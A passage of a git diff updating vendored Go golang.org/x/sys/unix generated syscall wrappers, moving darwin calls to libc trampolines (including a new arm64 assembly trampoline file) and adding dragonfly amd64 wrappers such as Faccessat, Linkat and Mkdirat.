- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1588,7 +2332,7 @@ func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1599,7 +2343,7 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func gettimeofday(tp *Timeval) (sec int64, usec int32, err error) {
-- r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_gettimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- sec = int64(r0)
- usec = int32(r1)
- if e1 != 0 {
-@@ -1607,3 +2351,134 @@ func gettimeofday(tp *Timeval) (sec int64, usec int32, err error) {
- }
- return
- }
-+
-+func libc_gettimeofday_trampoline()
-+
-+//go:linkname libc_gettimeofday libc_gettimeofday
-+//go:cgo_import_dynamic libc_gettimeofday gettimeofday "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstat_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstat_trampoline()
-+
-+//go:linkname libc_fstat libc_fstat
-+//go:cgo_import_dynamic libc_fstat fstat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fstatat_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatat_trampoline()
-+
-+//go:linkname libc_fstatat libc_fstatat
-+//go:cgo_import_dynamic libc_fstatat fstatat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstatfs_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatfs_trampoline()
-+
-+//go:linkname libc_fstatfs libc_fstatfs
-+//go:cgo_import_dynamic libc_fstatfs fstatfs "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getfsstat_trampoline), uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getfsstat_trampoline()
-+
-+//go:linkname libc_getfsstat libc_getfsstat
-+//go:cgo_import_dynamic libc_getfsstat getfsstat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_lstat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_lstat_trampoline()
-+
-+//go:linkname libc_lstat libc_lstat
-+//go:cgo_import_dynamic libc_lstat lstat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_stat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_stat_trampoline()
-+
-+//go:linkname libc_stat libc_stat
-+//go:cgo_import_dynamic libc_stat stat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_statfs_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_statfs_trampoline()
-+
-+//go:linkname libc_statfs libc_statfs
-+//go:cgo_import_dynamic libc_statfs statfs "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.s
-new file mode 100644
-index 00000000..40cce1bb
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.s
-@@ -0,0 +1,282 @@
-+// go run mkasm_darwin.go arm64
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.12
-+
-+#include "textflag.h"
-+TEXT ·libc_getgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgroups(SB)
-+TEXT ·libc_setgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgroups(SB)
-+TEXT ·libc_wait4_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_wait4(SB)
-+TEXT ·libc_accept_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_accept(SB)
-+TEXT ·libc_bind_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_bind(SB)
-+TEXT ·libc_connect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_connect(SB)
-+TEXT ·libc_socket_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socket(SB)
-+TEXT ·libc_getsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockopt(SB)
-+TEXT ·libc_setsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsockopt(SB)
-+TEXT ·libc_getpeername_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpeername(SB)
-+TEXT ·libc_getsockname_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockname(SB)
-+TEXT ·libc_shutdown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_shutdown(SB)
-+TEXT ·libc_socketpair_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socketpair(SB)
-+TEXT ·libc_recvfrom_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvfrom(SB)
-+TEXT ·libc_sendto_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendto(SB)
-+TEXT ·libc_recvmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvmsg(SB)
-+TEXT ·libc_sendmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendmsg(SB)
-+TEXT ·libc_kevent_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kevent(SB)
-+TEXT ·libc_utimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_utimes(SB)
-+TEXT ·libc_futimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_futimes(SB)
-+TEXT ·libc_poll_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_poll(SB)
-+TEXT ·libc_madvise_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_madvise(SB)
-+TEXT ·libc_mlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlock(SB)
-+TEXT ·libc_mlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlockall(SB)
-+TEXT ·libc_mprotect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mprotect(SB)
-+TEXT ·libc_msync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_msync(SB)
-+TEXT ·libc_munlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlock(SB)
-+TEXT ·libc_munlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlockall(SB)
-+TEXT ·libc_getattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getattrlist(SB)
-+TEXT ·libc_pipe_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pipe(SB)
-+TEXT ·libc_getxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getxattr(SB)
-+TEXT ·libc_fgetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fgetxattr(SB)
-+TEXT ·libc_setxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setxattr(SB)
-+TEXT ·libc_fsetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsetxattr(SB)
-+TEXT ·libc_removexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_removexattr(SB)
-+TEXT ·libc_fremovexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fremovexattr(SB)
-+TEXT ·libc_listxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listxattr(SB)
-+TEXT ·libc_flistxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flistxattr(SB)
-+TEXT ·libc_setattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setattrlist(SB)
-+TEXT ·libc_fcntl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fcntl(SB)
-+TEXT ·libc_kill_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kill(SB)
-+TEXT ·libc_ioctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ioctl(SB)
-+TEXT ·libc_sysctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sysctl(SB)
-+TEXT ·libc_sendfile_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendfile(SB)
-+TEXT ·libc_access_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_access(SB)
-+TEXT ·libc_adjtime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_adjtime(SB)
-+TEXT ·libc_chdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chdir(SB)
-+TEXT ·libc_chflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chflags(SB)
-+TEXT ·libc_chmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chmod(SB)
-+TEXT ·libc_chown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chown(SB)
-+TEXT ·libc_chroot_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chroot(SB)
-+TEXT ·libc_clock_gettime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_clock_gettime(SB)
-+TEXT ·libc_close_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_close(SB)
-+TEXT ·libc_dup_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup(SB)
-+TEXT ·libc_dup2_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup2(SB)
-+TEXT ·libc_exchangedata_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exchangedata(SB)
-+TEXT ·libc_exit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exit(SB)
-+TEXT ·libc_faccessat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_faccessat(SB)
-+TEXT ·libc_fchdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchdir(SB)
-+TEXT ·libc_fchflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchflags(SB)
-+TEXT ·libc_fchmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmod(SB)
-+TEXT ·libc_fchmodat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmodat(SB)
-+TEXT ·libc_fchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchown(SB)
-+TEXT ·libc_fchownat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchownat(SB)
-+TEXT ·libc_flock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flock(SB)
-+TEXT ·libc_fpathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fpathconf(SB)
-+TEXT ·libc_fsync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsync(SB)
-+TEXT ·libc_ftruncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ftruncate(SB)
-+TEXT ·libc_getdtablesize_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getdtablesize(SB)
-+TEXT ·libc_getegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getegid(SB)
-+TEXT ·libc_geteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_geteuid(SB)
-+TEXT ·libc_getgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgid(SB)
-+TEXT ·libc_getpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgid(SB)
-+TEXT ·libc_getpgrp_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgrp(SB)
-+TEXT ·libc_getpid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpid(SB)
-+TEXT ·libc_getppid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getppid(SB)
-+TEXT ·libc_getpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpriority(SB)
-+TEXT ·libc_getrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrlimit(SB)
-+TEXT ·libc_getrusage_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrusage(SB)
-+TEXT ·libc_getsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsid(SB)
-+TEXT ·libc_getuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getuid(SB)
-+TEXT ·libc_issetugid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_issetugid(SB)
-+TEXT ·libc_kqueue_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kqueue(SB)
-+TEXT ·libc_lchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lchown(SB)
-+TEXT ·libc_link_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_link(SB)
-+TEXT ·libc_linkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_linkat(SB)
-+TEXT ·libc_listen_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listen(SB)
-+TEXT ·libc_mkdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdir(SB)
-+TEXT ·libc_mkdirat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdirat(SB)
-+TEXT ·libc_mkfifo_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkfifo(SB)
-+TEXT ·libc_mknod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mknod(SB)
-+TEXT ·libc_open_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_open(SB)
-+TEXT ·libc_openat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_openat(SB)
-+TEXT ·libc_pathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pathconf(SB)
-+TEXT ·libc_pread_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pread(SB)
-+TEXT ·libc_pwrite_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pwrite(SB)
-+TEXT ·libc_read_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_read(SB)
-+TEXT ·libc_readlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlink(SB)
-+TEXT ·libc_readlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlinkat(SB)
-+TEXT ·libc_rename_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rename(SB)
-+TEXT ·libc_renameat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_renameat(SB)
-+TEXT ·libc_revoke_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_revoke(SB)
-+TEXT ·libc_rmdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rmdir(SB)
-+TEXT ·libc_lseek_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lseek(SB)
-+TEXT ·libc_select_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_select(SB)
-+TEXT ·libc_setegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setegid(SB)
-+TEXT ·libc_seteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_seteuid(SB)
-+TEXT ·libc_setgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgid(SB)
-+TEXT ·libc_setlogin_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setlogin(SB)
-+TEXT ·libc_setpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpgid(SB)
-+TEXT ·libc_setpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpriority(SB)
-+TEXT ·libc_setprivexec_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setprivexec(SB)
-+TEXT ·libc_setregid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setregid(SB)
-+TEXT ·libc_setreuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setreuid(SB)
-+TEXT ·libc_setrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setrlimit(SB)
-+TEXT ·libc_setsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsid(SB)
-+TEXT ·libc_settimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_settimeofday(SB)
-+TEXT ·libc_setuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setuid(SB)
-+TEXT ·libc_symlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_symlink(SB)
-+TEXT ·libc_symlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_symlinkat(SB)
-+TEXT ·libc_sync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sync(SB)
-+TEXT ·libc_truncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_truncate(SB)
-+TEXT ·libc_umask_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_umask(SB)
-+TEXT ·libc_undelete_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_undelete(SB)
-+TEXT ·libc_unlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlink(SB)
-+TEXT ·libc_unlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlinkat(SB)
-+TEXT ·libc_unmount_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unmount(SB)
-+TEXT ·libc_write_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_write(SB)
-+TEXT ·libc_mmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mmap(SB)
-+TEXT ·libc_munmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munmap(SB)
-+TEXT ·libc_gettimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_gettimeofday(SB)
-+TEXT ·libc_fstat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstat(SB)
-+TEXT ·libc_fstatat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatat(SB)
-+TEXT ·libc_fstatfs_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatfs(SB)
-+TEXT ·libc_getfsstat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getfsstat(SB)
-+TEXT ·libc_lstat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lstat(SB)
-+TEXT ·libc_stat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_stat(SB)
-+TEXT ·libc_statfs_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_statfs(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_dragonfly_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_dragonfly_amd64.go
-index 7fa205cd..fe1fdd78 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_dragonfly_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_dragonfly_amd64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -dragonfly -tags dragonfly,amd64 syscall_bsd.go syscall_dragonfly.go syscall_dragonfly_amd64.go
-+// go run mksyscall.go -dragonfly -tags dragonfly,amd64 syscall_bsd.go syscall_dragonfly.go syscall_dragonfly_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build dragonfly,amd64
-@@ -255,9 +255,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -412,6 +412,33 @@ func extpwrite(fd int, p []byte, flags int, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -550,6 +577,21 @@ func Exit(code int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -580,6 +622,21 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -590,6 +647,21 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
-@@ -621,6 +693,21 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstatfs(fd int, stat *Statfs_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
-@@ -651,6 +738,23 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getdents(fd int, buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS_GETDENTS, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
-@@ -859,6 +963,26 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
-@@ -899,6 +1023,21 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
